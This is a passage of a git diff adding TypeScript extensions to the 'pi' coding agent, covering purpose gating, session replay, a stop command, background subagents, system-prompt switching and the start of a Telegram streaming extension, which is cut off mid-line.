_ctx.ui.notify("Usage: /experts-grid <1-5>", "error"); + } + }, + }); + + // ── System Prompt ──────────────────────────── + + pi.on("before_agent_start", async (_event, _ctx) => { + const expertCatalog = Array.from(experts.values()) + .map(s => `### ${displayName(s.def.name)}\n**Query as:** \`${s.def.name}\`\n${s.def.description}`) + .join("\n\n"); + + const expertNames = Array.from(experts.values()).map(s => displayName(s.def.name)).join(", "); + + const orchestratorPath = join(_ctx.cwd, ".pi", "agents", "pi-pi", "pi-orchestrator.md"); + let systemPrompt = ""; + try { + const raw = readFileSync(orchestratorPath, "utf-8"); + const match = raw.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/); + const template = match ? match[2].trim() : raw; + + systemPrompt = template + .replace("{{EXPERT_COUNT}}", experts.size.toString()) + .replace("{{EXPERT_NAMES}}", expertNames) + .replace("{{EXPERT_CATALOG}}", expertCatalog); + } catch (err) { + systemPrompt = "Error: Could not load pi-orchestrator.md. Make sure it exists in .pi/agents/pi-pi/."; + } + + return { systemPrompt }; + }); + + // ── Session Start ──────────────────────────── + + pi.on("session_start", async (_event, _ctx) => { + applyExtensionDefaults(import.meta.url, _ctx); + if (widgetCtx) { + widgetCtx.ui.setWidget("pi-pi-grid", undefined); + } + widgetCtx = _ctx; + + loadExperts(_ctx.cwd); + updateWidget(); + + const expertNames = Array.from(experts.values()).map(s => displayName(s.def.name)).join(", "); + _ctx.ui.setStatus("pi-pi", `Pi Pi (${experts.size} experts)`); + _ctx.ui.notify( + `Pi Pi loaded — ${experts.size} experts: ${expertNames}\n\n` + + `/experts List experts and status\n` + + `/experts-grid N Set grid columns (1-5)\n\n` + + `Ask me to build any Pi agent component!`, + "info", + ); + + // Custom footer + _ctx.ui.setFooter((_tui, theme, _footerData) => ({ + dispose: () => {}, + invalidate() {}, + render(width: number): string[] { + const model = _ctx.model?.id || "no-model"; + const usage = _ctx.getContextUsage(); + const pct = usage ? usage.percent : 0; + const filled = Math.round(pct / 10); + const bar = "#".repeat(filled) + "-".repeat(10 - filled); + + const active = Array.from(experts.values()).filter(e => e.status === "researching").length; + const done = Array.from(experts.values()).filter(e => e.status === "done").length; + + const left = theme.fg("dim", ` ${model}`) + + theme.fg("muted", " · ") + + theme.fg("accent", "Pi Pi"); + const mid = active > 0 + ? theme.fg("accent", ` ◉ ${active} researching`) + : done > 0 + ? theme.fg("success", ` ✓ ${done} done`) + : ""; + const right = theme.fg("dim", `[${bar}] ${Math.round(pct)}% `); + const pad = " ".repeat(Math.max(1, width - visibleWidth(left) - visibleWidth(mid) - visibleWidth(right))); + + return [truncateToWidth(left + mid + pad + right, width)]; + }, + })); + }); +} diff --git a/extensions/pure-focus.ts b/extensions/pure-focus.ts new file mode 100644 index 0000000..8d8dea5 --- /dev/null +++ b/extensions/pure-focus.ts @@ -0,0 +1,24 @@ +/** + * Pure Focus — Strip all footer and status line UI + * + * Removes the footer bar and status line entirely, leaving only + * the conversation and editor. Pure distraction-free mode. + * + * Usage: pi -e examples/extensions/pure-focus.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +export default function (pi: ExtensionAPI) { + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + ctx.ui.setFooter((_tui, _theme, _footerData) => ({ + dispose: () => {}, + invalidate() {}, + render(_width: number): string[] { + return []; + }, + })); + }); +} diff --git a/extensions/purpose-gate.ts b/extensions/purpose-gate.ts new file mode 100644 index 0000000..cb9a4c3 --- /dev/null +++ b/extensions/purpose-gate.ts @@ -0,0 +1,84 @@ +/** + * Purpose Gate — Forces the engineer to declare intent before working + * + * On session start, immediately asks "What is the purpose of this agent?" + * via a text input dialog. A persistent widget shows the purpose for the + * rest of the session, keeping focus. Blocks all prompts until answered. + * + * Usage: pi -e extensions/purpose-gate.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { Text, truncateToWidth } from "@mariozechner/pi-tui"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// synthwave: bgWarm #4a1e6a → rgb(74,30,106) +function bg(s: string): string { + return `\x1b[48;2;74;30;106m${s}\x1b[49m`; +} + +// synthwave: pink #ff7edb +function pink(s: string): string { + return `\x1b[38;2;255;126;219m${s}\x1b[39m`; +} + +// synthwave: cyan #36f9f6 +function cyan(s: string): string { + return `\x1b[38;2;54;249;246m${s}\x1b[39m`; +} + +function bold(s: string): string { + return `\x1b[1m${s}\x1b[22m`; +} + +export default function (pi: ExtensionAPI) { + let purpose: string | undefined; + + async function askForPurpose(ctx: any) { + while (!purpose) { + const answer = await ctx.ui.input( + "What is the purpose of this agent?", + "e.g. Refactor the auth module to use JWT" + ); + + if (answer && answer.trim()) { + purpose = answer.trim(); + } else { + ctx.ui.notify("Purpose is required.", "warning"); + } + } + + ctx.ui.setWidget("purpose", () => { + return { + render(width: number): string[] { + const pad = bg(" ".repeat(width)); + const label = pink(bold(" PURPOSE: ")); + const msg = cyan(bold(purpose!)); + const content = bg(truncateToWidth(label + msg + " ".repeat(width), width, "")); + return [pad, content, pad]; + }, + invalidate() {}, + }; + }); + } + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + void askForPurpose(ctx); + }); + + pi.on("before_agent_start", async (event) => { + if (!purpose) return; + return { + systemPrompt: event.systemPrompt + `\n\n\nYour singular purpose this session: ${purpose}\nStay focused on this goal. If a request drifts from this purpose, gently remind the user.\n`, + }; + }); + + pi.on("input", async (_event, ctx) => { + if (!purpose) { + ctx.ui.notify("Set a purpose first.", "warning"); + return { action: "handled" as const }; + } + return { action: "continue" as const }; + }); +} diff --git a/extensions/session-replay.ts b/extensions/session-replay.ts new file mode 100644 index 0000000..d26b320 --- /dev/null +++ b/extensions/session-replay.ts @@ -0,0 +1,216 @@ +import { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { applyExtensionDefaults } from "./themeMap.ts"; +import { + Box, Text, Markdown, Container, Spacer, + matchesKey, Key, truncateToWidth, getMarkdownTheme +} from "@mariozechner/pi-tui"; +import { DynamicBorder, getMarkdownTheme as getPiMdTheme } from "@mariozechner/pi-coding-agent"; + +// Minimal shim for timestamp handling if not directly in Message objects +function formatTime(date: Date): string { + return date.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' }); +} + +function getElapsedTime(start: Date, end: Date): string { + const diffMs = end.getTime() - start.getTime(); + const diffSec = Math.floor(diffMs / 1000); + if (diffSec < 60) return `${diffSec}s`; + const diffMin = Math.floor(diffSec / 60); + return `${diffMin}m ${diffSec % 60}s`; +} + +interface HistoryItem { + type: 'user' | 'assistant' | 'tool'; + title: string; + content: string; + timestamp: Date; + elapsed?: string; +} + +class SessionReplayUI { + private selectedIndex = 0; + private expandedIndex: number | null = null; + private scrollOffset = 0; + + constructor( + private items: HistoryItem[], + private onDone: () => void + ) { + // Start selected at the bottom (most recent) + this.selectedIndex = Math.max(0, items.length - 1); + this.ensureVisible(20); // rough height estimate + } + + handleInput(data: string, tui: any): void { + if (matchesKey(data, Key.up)) { + this.selectedIndex = Math.max(0, this.selectedIndex - 1); + } else if (matchesKey(data, Key.down)) { + this.selectedIndex = Math.min(this.items.length - 1, this.selectedIndex + 1); + } else if (matchesKey(data, Key.enter)) { + this.expandedIndex = this.expandedIndex === this.selectedIndex ? null : this.selectedIndex; + } else if (matchesKey(data, Key.escape)) { + this.onDone(); + return; + } + tui.requestRender(); + } + + private ensureVisible(height: number) { + // Simple scroll window logic + const pageSize = Math.floor(height / 3); // Approx items per page + if (this.selectedIndex < this.scrollOffset) { + this.scrollOffset = this.selectedIndex; + } else if (this.selectedIndex >= this.scrollOffset + pageSize) { + this.scrollOffset = this.selectedIndex - pageSize + 1; + } + } + + render(width: number, height: number, theme: any): string[] { + this.ensureVisible(height); + + const container = new Container(); + const mdTheme = getPiMdTheme(); + + // Header + container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s))); + container.addChild(new Text(`${theme.fg("accent", theme.bold(" SESSION REPLAY"))} ${theme.fg("dim", "|")} ${theme.fg("success", this.items.length.toString())} entries`, 1, 0)); + container.addChild(new Spacer(1)); + + // Calculate visible range + const visibleItems = this.items.slice(this.scrollOffset); + + visibleItems.forEach((item, idx) => { + const absoluteIndex = idx + this.scrollOffset; + const isSelected = absoluteIndex === this.selectedIndex; + const isExpanded = absoluteIndex === this.expandedIndex; + + const cardBox = new Box(1, 0, (s) => isSelected ? theme.bg("selectedBg", s) : s); + + // Icon and Title + let icon = "○"; + let color = "dim"; + if (item.type === 'user') { icon = "👤"; color = "success"; } + else if (item.type === 'assistant') { icon = "🤖"; color = "accent"; } + else if (item.type === 'tool') { icon = "🛠️"; color = "warning"; } + + const timeStr = theme.fg("success", `[${formatTime(item.timestamp)}]`); + const elapsedStr = item.elapsed ? theme.fg("dim", ` (+${item.elapsed})`) : ""; + + const titleLine = `${theme.fg(color, icon)} ${theme.bold(item.title)} ${timeStr}${elapsedStr}`; + cardBox.addChild(new Text(titleLine, 0, 0)); + + if (isExpanded) { + cardBox.addChild(new Spacer(1)); + cardBox.addChild(new Markdown(item.content, 2, 0, mdTheme)); + } else { + // Truncated preview + const preview = item.content.replace(/\n/g, ' ').substring(0, width - 10); + cardBox.addChild(new Text(theme.fg("dim", " " + preview + "..."), 0, 0)); + } + + container.addChild(cardBox); + // Don't add too many spacers if we have many items + if (visibleItems.length < 15) container.addChild(new Spacer(1)); + }); + + // Footer + container.addChild(new Spacer(1)); + container.addChild(new Text(theme.fg("dim", " ↑/↓ Navigate • Enter Expand • Esc Close"), 1, 0)); + container.addChild(new DynamicBorder((s: string) => theme.fg("accent", s))); + + return container.render(width); + } +} + +function extractContent(entry: any): string { + const msg = entry.message; + if (!msg) return ""; + const content = msg.content; + if (!content) return ""; + if (typeof content === "string") return content; + if (Array.isArray(content)) { + return content + .map((c: any) => { + if (c.type === "text") return c.text || ""; + if (c.type === "toolCall") return `Tool: ${c.name}(${JSON.stringify(c.arguments).slice(0, 200)})`; + return ""; + }) + .filter(Boolean) + .join("\n"); + } + return JSON.stringify(content).slice(0, 500); +} + +export default function(pi: ExtensionAPI) { + pi.registerCommand("replay", { + description: "Show a scrollable timeline of the current session", + handler: async (args, ctx) => { + const branch = ctx.sessionManager.getBranch(); + const items: HistoryItem[] = []; + + let prevTime: Date | null = null; + + for (const entry of branch) { + if (entry.type !== "message") continue; + const msg = entry.message; + if (!msg) continue; + + const ts = msg.timestamp ? new Date(msg.timestamp) : new Date(); + const elapsed = prevTime ? getElapsedTime(prevTime, ts) : undefined; + prevTime = ts; + + const role = msg.role; + const text = extractContent(entry); + if (!text) continue; + + if (role === "user") { + items.push({ + type: "user", + title: "User Prompt", + content: text, + timestamp: ts, + elapsed, + }); + } else if (role === "assistant") { + items.push({ + type: "assistant", + title: "Assistant", + content: text, + timestamp: ts, + elapsed, + }); + } else if (role === "toolResult") { + const toolName = (msg as any).toolName || "tool"; + items.push({ + type: "tool", + title: `Tool: ${toolName}`, + content: text, + timestamp: ts, + elapsed, + }); + } + } + + if (items.length === 0) { + ctx.ui.notify("No session history found.", "warning"); + return; + } + + await ctx.ui.custom((tui, theme, kb, done) => { + const component = new SessionReplayUI(items, () => done(undefined)); + return { + render: (w) => component.render(w, 30, theme), + handleInput: (data) => component.handleInput(data, tui), + invalidate: () => {}, + }; + }, { + overlay: true, + overlayOptions: { width: "80%", anchor: "center" }, + }); + }, + }); + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + }); +} diff --git a/extensions/stop.ts b/extensions/stop.ts new file mode 100644 index 0000000..9afd325 --- /dev/null +++ b/extensions/stop.ts @@ -0,0 +1,41 @@ +/** + * Stop — Immediately interrupt the active chat session + * + * Registers a /stop slash command that aborts the current agent turn. + * Also supports /stop with a reason message for logging clarity. + * + * Usage: pi -e extensions/stop.ts + * + * Commands: + * /stop — abort the current agent turn immediately + * /stop — abort with a logged reason + */ + +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +export default function (pi: ExtensionAPI) { + let activeCtx: ExtensionContext | undefined; + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + activeCtx = ctx; + }); + + pi.on("session_switch", async (_event, ctx) => { + activeCtx = ctx; + }); + + pi.registerCommand("stop", { + description: "Immediately interrupt the active agent turn. Usage: /stop [reason]", + handler: async (args, ctx) => { + activeCtx = ctx; + const reason = (args || "").trim(); + ctx.abort(); + const msg = reason + ? `🛑 Session aborted: ${reason}` + : "🛑 Session aborted."; + ctx.ui.notify(msg, "warning"); + }, + }); +} diff --git a/extensions/subagent-widget.ts b/extensions/subagent-widget.ts new file mode 100644 index 0000000..a31ac6e --- /dev/null +++ b/extensions/subagent-widget.ts @@ -0,0 +1,481 @@ +/** + * Subagent Widget — /sub, /subclear, /subrm, /subcont commands with stacking live widgets + * + * Each /sub spawns a background Pi subagent with its own persistent session, + * enabling conversation continuations via /subcont. + * + * Usage: pi -e extensions/subagent-widget.ts + * Then: + * /sub list files and summarize — spawn a new subagent + * /subcont 1 now write tests for it — continue subagent #1's conversation + * /subrm 2 — remove subagent #2 widget + * /subclear — clear all subagent widgets + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { DynamicBorder } from "@mariozechner/pi-coding-agent"; +import { Container, Text } from "@mariozechner/pi-tui"; +import { Type } from "@sinclair/typebox"; +const { spawn } = require("child_process") as any; +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +interface SubState { + id: number; + status: "running" | "done" | "error"; + task: string; + textChunks: string[]; + toolCount: number; + elapsed: number; + sessionFile: string; // persistent JSONL session path — used by /subcont to resume + turnCount: number; // increments each time /subcont continues this agent + proc?: any; // active ChildProcess ref (for kill on /subrm) +} + +export default function (pi: ExtensionAPI) { + const agents: Map = new Map(); + let nextId = 1; + let widgetCtx: any; + + // ── Session file helpers ────────────────────────────────────────────────── + + function makeSessionFile(id: number): string { + const dir = path.join(os.homedir(), ".pi", "agent", "sessions", "subagents"); + fs.mkdirSync(dir, { recursive: true }); + return path.join(dir, `subagent-${id}-${Date.now()}.jsonl`); + } + + // ── Widget rendering ────────────────────────────────────────────────────── + + function updateWidgets() { + if (!widgetCtx) return; + + for (const [id, state] of Array.from(agents.entries())) { + const key = `sub-${id}`; + widgetCtx.ui.setWidget(key, (_tui: any, theme: any) => { + const container = new Container(); + const borderFn = (s: string) => theme.fg("dim", s); + + container.addChild(new Text("", 0, 0)); // top margin + container.addChild(new DynamicBorder(borderFn)); + const content = new Text("", 1, 0); + container.addChild(content); + container.addChild(new DynamicBorder(borderFn)); + + return { + render(width: number): string[] { + const lines: string[] = []; + const statusColor = state.status === "running" ? "accent" + : state.status === "done" ? "success" : "error"; + const statusIcon = state.status === "running" ? "●" + : state.status === "done" ? "✓" : "✗"; + + const taskPreview = state.task.length > 40 + ? state.task.slice(0, 37) + "..." + : state.task; + + const turnLabel = state.turnCount > 1 + ? theme.fg("dim", ` · Turn ${state.turnCount}`) + : ""; + + lines.push( + theme.fg(statusColor, `${statusIcon} Subagent #${state.id}`) + + turnLabel + + theme.fg("dim", ` ${taskPreview}`) + + theme.fg("dim", ` (${Math.round(state.elapsed / 1000)}s)`) + + theme.fg("dim", ` | Tools: ${state.toolCount}`) + ); + + const fullText = state.textChunks.join(""); + const lastLine = fullText.split("\n").filter((l: string) => l.trim()).pop() || ""; + if (lastLine) { + const trimmed = lastLine.length > width - 10 + ? lastLine.slice(0, width - 13) + "..." + : lastLine; + lines.push(theme.fg("muted", ` ${trimmed}`)); + } + + content.setText(lines.join("\n")); + return container.render(width); + }, + invalidate() { + container.invalidate(); + }, + }; + }); + } + } + + // ── Streaming helpers ───────────────────────────────────────────────────── + + function processLine(state: SubState, line: string) { + if (!line.trim()) return; + try { + const event = JSON.parse(line); + const type = event.type; + + if (type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") { + state.textChunks.push(delta.delta || ""); + updateWidgets(); + } + } else if (type === "tool_execution_start") { + state.toolCount++; + updateWidgets(); + } + } catch {} + } + + function spawnAgent( + state: SubState, + prompt: string, + ctx: any, + ): Promise { + const model = ctx.model + ? `${ctx.model.provider}/${ctx.model.id}` + : "openrouter/google/gemini-3-flash-preview"; + + return new Promise((resolve) => { + const proc = spawn("pi", [ + "--mode", "json", + "-p", + "--session", state.sessionFile, // persistent session for /subcont resumption + "--no-extensions", + "--model", model, + "--tools", "read,bash,grep,find,ls", + "--thinking", "off", + prompt, + ], { + stdio: ["ignore", "pipe", "pipe"], + env: { ...process.env }, + }); + + state.proc = proc; + + const startTime = Date.now(); + const timer = setInterval(() => { + state.elapsed = Date.now() - startTime; + updateWidgets(); + }, 1000); + + let buffer = ""; + + proc.stdout!.setEncoding("utf-8"); + proc.stdout!.on("data", (chunk: string) => { + buffer += chunk; + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + for (const line of lines) processLine(state, line); + }); + + proc.stderr!.setEncoding("utf-8"); + proc.stderr!.on("data", (chunk: string) => { + if (chunk.trim()) { + state.textChunks.push(chunk); + updateWidgets(); + } + }); + + proc.on("close", (code) => { + if (buffer.trim()) processLine(state, buffer); + clearInterval(timer); + state.elapsed = Date.now() - startTime; + state.status = code === 0 ? "done" : "error"; + state.proc = undefined; + updateWidgets(); + + const result = state.textChunks.join(""); + ctx.ui.notify( + `Subagent #${state.id} ${state.status} in ${Math.round(state.elapsed / 1000)}s`, + state.status === "done" ? "success" : "error" + ); + + pi.sendMessage({ + customType: "subagent-result", + content: `Subagent #${state.id}${state.turnCount > 1 ? ` (Turn ${state.turnCount})` : ""} finished "${prompt}" in ${Math.round(state.elapsed / 1000)}s.\n\nResult:\n${result.slice(0, 8000)}${result.length > 8000 ? "\n\n... [truncated]" : ""}`, + display: true, + }, { deliverAs: "followUp", triggerTurn: true }); + + resolve(); + }); + + proc.on("error", (err) => { + clearInterval(timer); + state.status = "error"; + state.proc = undefined; + state.textChunks.push(`Error: ${err.message}`); + updateWidgets(); + resolve(); + }); + }); + } + + // ── Tools for the Main Agent ────────────────────────────────────────────── + + pi.registerTool({ + name: "subagent_create", + description: "Spawn a background subagent to perform a task. Returns the subagent ID immediately while it runs in the background. Results will be delivered as a follow-up message when finished.", + parameters: Type.Object({ + task: Type.String({ description: "The complete task description for the subagent to perform" }), + }), + execute: async (callId, args, _signal, _onUpdate, ctx) => { + widgetCtx = ctx; + const id = nextId++; + const state: SubState = { + id, + status: "running", + task: args.task, + textChunks: [], + toolCount: 0, + elapsed: 0, + sessionFile: makeSessionFile(id), + turnCount: 1, + }; + agents.set(id, state); + updateWidgets(); + + // Fire-and-forget + spawnAgent(state, args.task, ctx); + + return { + content: [{ type: "text", text: `Subagent #${id} spawned and running in background.` }], + }; + }, + }); + + pi.registerTool({ + name: "subagent_continue", + description: "Continue an existing subagent's conversation. Use this to give further instructions to a finished subagent. Returns immediately while it runs in the background.", + parameters: Type.Object({ + id: Type.Number({ description: "The ID of the subagent to continue" }), + prompt: Type.String({ description: "The follow-up prompt or new instructions" }), + }), + execute: async (callId, args, _signal, _onUpdate, ctx) => { + widgetCtx = ctx; + const state = agents.get(args.id); + if (!state) { + return { content: [{ type: "text", text: `Error: No subagent #${args.id} found.` }] }; + } + if (state.status === "running") { + return { content: [{ type: "text", text: `Error: Subagent #${args.id} is still running.` }] }; + } + + state.status = "running"; + state.task = args.prompt; + state.textChunks = []; + state.elapsed = 0; + state.turnCount++; + updateWidgets(); + + ctx.ui.notify(`Continuing Subagent #${args.id} (Turn ${state.turnCount})…`, "info"); + spawnAgent(state, args.prompt, ctx); + + return { + content: [{ type: "text", text: `Subagent #${args.id} continuing conversation in background.` }], + }; + }, + }); + + pi.registerTool({ + name: "subagent_remove", + description: "Remove a specific subagent. Kills it if it's currently running.", + parameters: Type.Object({ + id: Type.Number({ description: "The ID of the subagent to remove" }), + }), + execute: async (callId, args, _signal, _onUpdate, ctx) => { + widgetCtx = ctx; + const state = agents.get(args.id); + if (!state) { + return { content: [{ type: "text", text: `Error: No subagent #${args.id} found.` }] }; + } + + if (state.proc && state.status === "running") { + state.proc.kill("SIGTERM"); + } + ctx.ui.setWidget(`sub-${args.id}`, undefined); + agents.delete(args.id); + + return { + content: [{ type: "text", text: `Subagent #${args.id} removed successfully.` }], + }; + }, + }); + + pi.registerTool({ + name: "subagent_list", + description: "List all active and finished subagents, showing their IDs, tasks, and status.", + parameters: Type.Object({}), + execute: async () => { + if (agents.size === 0) { + return { content: [{ type: "text", text: "No active subagents." }] }; + } + + const list = Array.from(agents.values()).map(s => + `#${s.id} [${s.status.toUpperCase()}] (Turn ${s.turnCount}) - ${s.task}` + ).join("\n"); + + return { + content: [{ type: "text", text: `Subagents:\n${list}` }], + }; + }, + }); + + + + // ── /sub ─────────────────────────────────────────────────────────── + + pi.registerCommand("sub", { + description: "Spawn a subagent with live widget: /sub ", + handler: async (args, ctx) => { + widgetCtx = ctx; + + const task = args?.trim(); + if (!task) { + ctx.ui.notify("Usage: /sub ", "error"); + return; + } + + const id = nextId++; + const state: SubState = { + id, + status: "running", + task, + textChunks: [], + toolCount: 0, + elapsed: 0, + sessionFile: makeSessionFile(id), + turnCount: 1, + }; + agents.set(id, state); + updateWidgets(); + + // Fire-and-forget + spawnAgent(state, task, ctx); + }, + }); + + // ── /subcont ──────────────────────────────────────────── + + pi.registerCommand("subcont", { + description: "Continue an existing subagent's conversation: /subcont ", + handler: async (args, ctx) => { + widgetCtx = ctx; + + const trimmed = args?.trim() ?? ""; + const spaceIdx = trimmed.indexOf(" "); + if (spaceIdx === -1) { + ctx.ui.notify("Usage: /subcont ", "error"); + return; + } + + const num = parseInt(trimmed.slice(0, spaceIdx), 10); + const prompt = trimmed.slice(spaceIdx + 1).trim(); + + if (isNaN(num) || !prompt) { + ctx.ui.notify("Usage: /subcont ", "error"); + return; + } + + const state = agents.get(num); + if (!state) { + ctx.ui.notify(`No subagent #${num} found. Use /sub to create one.`, "error"); + return; + } + + if (state.status === "running") { + ctx.ui.notify(`Subagent #${num} is still running — wait for it to finish first.`, "warning"); + return; + } + + // Resume: update state for a new turn + state.status = "running"; + state.task = prompt; + state.textChunks = []; + state.elapsed = 0; + state.turnCount++; + updateWidgets(); + + ctx.ui.notify(`Continuing Subagent #${num} (Turn ${state.turnCount})…`, "info"); + + // Fire-and-forget — reuses the same sessionFile for conversation history + spawnAgent(state, prompt, ctx); + }, + }); + + // ── /subrm ─────────────────────────────────────────────────────── + + pi.registerCommand("subrm", { + description: "Remove a specific subagent widget: /subrm ", + handler: async (args, ctx) => { + widgetCtx = ctx; + + const num = parseInt(args?.trim() ?? "", 10); + if (isNaN(num)) { + ctx.ui.notify("Usage: /subrm ", "error"); + return; + } + + const state = agents.get(num); + if (!state) { + ctx.ui.notify(`No subagent #${num} found.`, "error"); + return; + } + + // Kill the process if still running + if (state.proc && state.status === "running") { + state.proc.kill("SIGTERM"); + ctx.ui.notify(`Subagent #${num} killed and removed.`, "warning"); + } else { + ctx.ui.notify(`Subagent #${num} removed.`, "info"); + } + + ctx.ui.setWidget(`sub-${num}`, undefined); + agents.delete(num); + }, + }); + + // ── /subclear ───────────────────────────────────────────────────────────── + + pi.registerCommand("subclear", { + description: "Clear all subagent widgets", + handler: async (_args, ctx) => { + widgetCtx = ctx; + + let killed = 0; + for (const [id, state] of Array.from(agents.entries())) { + if (state.proc && state.status === "running") { + state.proc.kill("SIGTERM"); + killed++; + } + ctx.ui.setWidget(`sub-${id}`, undefined); + } + + const total = agents.size; + agents.clear(); + nextId = 1; + + const msg = total === 0 + ? "No subagents to clear." + : `Cleared ${total} subagent${total !== 1 ? "s" : ""}${killed > 0 ? ` (${killed} killed)` : ""}.`; + ctx.ui.notify(msg, total === 0 ? "info" : "success"); + }, + }); + + // ── Session lifecycle ───────────────────────────────────────────────────── + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + for (const [id, state] of Array.from(agents.entries())) { + if (state.proc && state.status === "running") { + state.proc.kill("SIGTERM"); + } + ctx.ui.setWidget(`sub-${id}`, undefined); + } + agents.clear(); + nextId = 1; + widgetCtx = ctx; + }); +} diff --git a/extensions/system-select.ts b/extensions/system-select.ts new file mode 100644 index 0000000..8991658 --- /dev/null +++ b/extensions/system-select.ts @@ -0,0 +1,167 @@ +/** + * System Select — Switch the system prompt via /system + * + * Scans .pi/agents/, .claude/agents/, .gemini/agents/, .codex/agents/ + * (project-local and global) for agent definition .md files. + * + * /system opens a select dialog to pick a system prompt. The selected + * agent's body is prepended to Pi's default instructions so tool usage + * still works. Tools are restricted to the agent's declared tool set + * if specified. + * + * Usage: pi -e extensions/system-select.ts -e extensions/minimal.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { readdirSync, readFileSync, existsSync } from "node:fs"; +import { join, basename } from "node:path"; +import { homedir } from "node:os"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +interface AgentDef { + name: string; + description: string; + tools: string[]; + body: string; + source: string; +} + +function parseFrontmatter(raw: string): { fields: Record; body: string } { + const match = raw.match(/^---\s*\n([\s\S]*?)\n---\s*\n([\s\S]*)$/); + if (!match) return { fields: {}, body: raw }; + const fields: Record = {}; + for (const line of match[1].split("\n")) { + const idx = line.indexOf(":"); + if (idx > 0) fields[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + return { fields, body: match[2] }; +} + +function scanAgents(dir: string, source: string): AgentDef[] { + if (!existsSync(dir)) return []; + const agents: AgentDef[] = []; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const raw = readFileSync(join(dir, file), "utf-8"); + const { fields, body } = parseFrontmatter(raw); + agents.push({ + name: fields.name || basename(file, ".md"), + description: fields.description || "", + tools: fields.tools ? fields.tools.split(",").map((t) => t.trim()) : [], + body: body.trim(), + source, + }); + } + } catch {} + return agents; +} + +function displayName(name: string): string { + return name.split("-").map(w => w.charAt(0).toUpperCase() + w.slice(1)).join(" "); +} + +export default function (pi: ExtensionAPI) { + let activeAgent: AgentDef | null = null; + let allAgents: AgentDef[] = []; + let defaultTools: string[] = []; + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + activeAgent = null; + allAgents = []; + + const home = homedir(); + const cwd = ctx.cwd; + + const dirs: [string, string][] = [ + [join(cwd, ".pi", "agents"), ".pi"], + [join(cwd, ".claude", "agents"), ".claude"], + [join(cwd, ".gemini", "agents"), ".gemini"], + [join(cwd, ".codex", "agents"), ".codex"], + [join(home, ".pi", "agent", "agents"), "~/.pi"], + [join(home, ".claude", "agents"), "~/.claude"], + [join(home, ".gemini", "agents"), "~/.gemini"], + [join(home, ".codex", "agents"), "~/.codex"], + ]; + + const seen = new Set(); + const sourceCounts: Record = {}; + + for (const [dir, source] of dirs) { + const agents = scanAgents(dir, source); + for (const agent of agents) { + const key = agent.name.toLowerCase(); + if (seen.has(key)) continue; + seen.add(key); + allAgents.push(agent); + sourceCounts[source] = (sourceCounts[source] || 0) + 1; + } + } + + defaultTools = pi.getActiveTools(); + ctx.ui.setStatus("system-prompt", "System Prompt: Default"); + + const defaultPrompt = ctx.getSystemPrompt(); + const lines = defaultPrompt.split("\n").length; + const chars = defaultPrompt.length; + + const loadedSources = Object.entries(sourceCounts) + .map(([src, count]) => `${count} from ${src}`) + .join(", "); + + const notifyLines = []; + if (allAgents.length > 0) { + notifyLines.push(`Loaded ${allAgents.length} agents (${loadedSources})`); + } + notifyLines.push(`System Prompt: Default (${lines} lines, ${chars} chars)`); + + ctx.ui.notify(notifyLines.join("\n"), "info"); + }); + + pi.registerCommand("system", { + description: "Select a system prompt from discovered agents", + handler: async (_args, ctx) => { + if (allAgents.length === 0) { + ctx.ui.notify("No agents found in .*/agents/*.md", "warning"); + return; + } + + const options = [ + "Reset to Default", + ...allAgents.map((a) => `${a.name} — ${a.description} [${a.source}]`), + ]; + + const choice = await ctx.ui.select("Select System Prompt", options); + if (choice === undefined) return; + + if (choice === options[0]) { + activeAgent = null; + pi.setActiveTools(defaultTools); + ctx.ui.setStatus("system-prompt", "System Prompt: Default"); + ctx.ui.notify("System Prompt reset to Default", "success"); + return; + } + + const idx = options.indexOf(choice) - 1; + const agent = allAgents[idx]; + activeAgent = agent; + + if (agent.tools.length > 0) { + pi.setActiveTools(agent.tools); + } else { + pi.setActiveTools(defaultTools); + } + + ctx.ui.setStatus("system-prompt", `System Prompt: ${displayName(agent.name)}`); + ctx.ui.notify(`System Prompt switched to: ${displayName(agent.name)}`, "success"); + }, + }); + + pi.on("before_agent_start", async (event, _ctx) => { + if (!activeAgent) return; + return { + systemPrompt: activeAgent.body + "\n\n" + event.systemPrompt, + }; + }); +} diff --git a/extensions/telegram-stream.ts b/extensions/telegram-stream.ts new file mode 100644 index 0000000..28f79b6 --- /dev/null +++ b/extensions/telegram-stream.ts @@ -0,0 +1,96 @@ +/** + * Telegram Stream Extension + * + * Sends live updates to Telegram as Pi runs tool calls. + * Edits a single message in-place so it feels like streaming. + * + * Reads TELEGRAM_BOT_TOKEN, TELEGRAM_ALLOWED_USERS, TELEGRAM_STREAM_MSG_ID + * from env — the bot sets TELEGRAM_STREAM_MSG_ID before spawning Pi. + * + * Usage: pi -e extensions/telegram-stream.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { isToolCallEventType } from "@mariozechner/pi-coding-agent"; + +const BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN ?? ""; +const CHAT_ID = 